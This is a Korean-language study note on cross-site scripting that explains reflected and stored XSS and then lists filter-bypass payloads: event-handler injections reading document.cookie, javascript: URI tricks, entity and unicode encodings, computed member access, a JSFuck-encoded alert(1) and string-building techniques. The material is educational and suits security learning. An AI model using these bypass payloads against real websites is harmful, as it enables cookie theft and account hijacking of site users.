XSS
💣

XSS

Description
Cross Site Scripting
category
WebHacking
Tag
WEB Hacking
Date
Mar 14, 2024 07:35 AM

XSS란?

Cross Site Scripting의 약자로 CSS라고 불리는게 맞으나 Cascading Style Sheets의 약자로 널리 쓰이고 있어 혼동을 피하기 위해서 XSS라고 부릅니다.
XSS는 악성 스크립트를 웹 브라우저를 통해 실행시키는 취약점입니다.
XSS의 종류는 크게 3가지가 있는데 아래와 같습니다.
  • Reflected XSS
  • Stored XSS
  • DOM-Based XSS

Reflected XSS

Reflected XSS는 악성 스크립트가 담긴 요청을 수행 할 때 발생하는 XSS입니다.

Example

아래와 같이 URL의 파라미터를 통해 XSS구문을 입력 후 요청하자 XSS 구문이 동작하는 것을 알 수 있습니다.
notion image
 

Stored XSS

Stored XSS는 악성 스크립트가 서버에 저장되어 서버의 응답에 담겨오는 XSS입니다.

Example

아래와 같이 글을 저장 할 수 있는 곳에 XSS 구문을 입력하여 저장을 해주었습니다.
notion image
 
XSS가 담긴 글을 조회하게 되면 아래와 같이 XSS구문이 동작하는 것을 볼 수 있습니다.
notion image
 

Bypass XSS Filter

Event Handler

이벤트 핸들러란 특정 요소에서 발생하는 이벤트를 처리할 수 있는 callback 형태의 함수입니다.
대표적으로 onload, onerror, onfocus가 자주 사용됩니다.

onload

태그가 요청하는 데이터가 성공적으로 로드 시 실행됩니다.
<img src="정상적인 이미지 주소" onload=alert(document.cookie)>

onerror

태그가 요청하는 데이터가 로드되지 않았을 경우 실행됩니다.
<img src=”비정상적인 이미지 주소” onerror=alert(document.cookie)

onfocus

<input>, <textarea>, <select>, <button> 등 태그에 커서를 클릭하게 되면 실행됩니다.
<input onfoucs=alert(document.cookie) type=text id=inputID>
 

문자열 치환

XSS 키워드를 단순 치환하거나 제거하는 필터링이 존재할 경우 키워드 사이에 키워드를 삽입하는 방식으로 우회가 가능합니다.

Example

문자열에 ‘script’ 구문이 존재하면 공백으로 치환하는 소스코드입니다.
필터링 키워드 사이에 같은 필터링 키워드를 집어 넣는 방식으로 우회가 되는 것을 볼 수 있습니다.
(x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>') --> <img onerror=prompt(1) />
 

JavaScript Schemes

URI Scheme는 URL 로드 시 자바스크립트 코드를 실행할 수 있습니다.
URL을 속성 값으로 받는 <a>, <iframe> 태그 등에 사용할 수 있습니다.
JavaScript는 () , ` 를 사용하여 함수를 호출하는데 JavaScript Scheme를 사용하면 우회할 수 있습니다.

Example

<a href="javascript:alert(document.cookie)">bobong</a> <iframe src="javascript:alert(document.cookie)"> location="javascript:alert\x28document.domain\x29;"; location.href="javascript:alert\u0028document.domain\u0029;"; location['href']="javascript:alert\050document.domain\051;";
 

특수문자 포함

브라우저는 URL를 사용할 때 서로 다른 URL들을 통일된 형태로 변환하는 정규화를 과정을 거치게 된다. 이 과정에서 \x01, \x04, \t 와 같은 제어 문자들은 제거가 되기 때문에 포함하여 우회할 수 있습니다.

Example

<a href="\00\04jAVaSC\02riPT:alert(document.cookie)">bobong</a> <iframe src="\1\4jAVasC\04riPT:alert(document.cookie)">
 

HTML Entity Encoding

HTML Entity Encoding은 HTML에서 특수 문자 및 예약 문자를 사용하기 위해서 생긴 기능 입니다.
해당 기능을 이용해 필터링을 우회할 수 있습니다.

Example

<script>alert(1)</script> &lt;&#115;&#99;&#114;&#105;&#112;&#116;&gt;&#97;&#108;&#101;&#114;&#116;&lpar;&#49;&rpar;&lt;&sol;&#115;&#99;&#114;&#105;&#112;&#116;&gt;

Unicode escape sequence

 Unicode escape sequence는 "\uAC00" == "가” 와 같이 유니코드를 코드포인트로 나타낼 수 있는 표기법입니다.
해당 기능을 이용하여 필터링을 우회할 수 있습니다.

Example

\u0061\u006C\u0065\u0072\u0074(document.cookie); //alert(document.cookie)

Computed member access

JavaScript는 Computed member access를 지원합니다.
Computed member access는 객체 속성에 접근할 때 속성 이름을 동적으로 계산하는 기능입니다.

Example

alert(document['coo'+'kie']); //alert(document.cookie) window['alert'](document.cookie); //alert(document.cookie)

JSFuck

JSFfuck를 사용하면 JS를 6개의 문자를 통해서 표현이 가능합니다.

Example

alert(1) 를 JSFuck을 이용해 인코딩하면 아래와 같다.
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])

Template Literals

, 가 필터링되어 있다면 Template Literals로 우회할 수 있습니다.
Template Literals은 내장된 표현식을 허용하는 문자열 리터럴입니다.

Example

var foo = "Hello"; var bar = "World"; var baz = `${foo}, ${bar} ${1+1}.`; // "Hello,\nWorld 2."

RegExp

RegExp 객체를 생성하고 객체의 패턴 부분을 가져옴으로써 문자열을 만들 수 있습니다.

Example

var foo = /Hello World!/.source; // "Hello World!" var bar = /test !/ + []; // "/test !/"

String.fromCharCode

String.fromCharCode 함수는 전달 받은 유니코드 파라미터를 문자로 반환합니다.

Example

var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello"

내장 함수 및 객체의 문자 사용

내장 함수나 객체를 toString 함수를 사용하여 원하는 문자열을 만들어 사용할 수 있습니다.

Example

var baz = history.toString()[8] + // "H" (history+[])[9] + // "i" (URL+0)[12] + // "(" (URL+0)[13]; // ")" ==> "Hi()"

진수 변환 이용

10진수 숫자를 36진수로 변경하여 Ascii 영어 소문자 범위에 포함된 모든 문자를 생성할 수 있습니다.
문법 오류를 피하기 위해서 괄호 이용, 점 두 개 사용, 공백 과 점을 조합해 사용이 가능합니다.

Example

var foo = (29234652).toString(36); // "hello" var foo = 29234652..toString(36); // "hello" var bar = 29234652 .toString(36); // "hello"
 

XSS Cheat Sheet

xss-payload-list
payloadboxUpdated Mar 27, 2024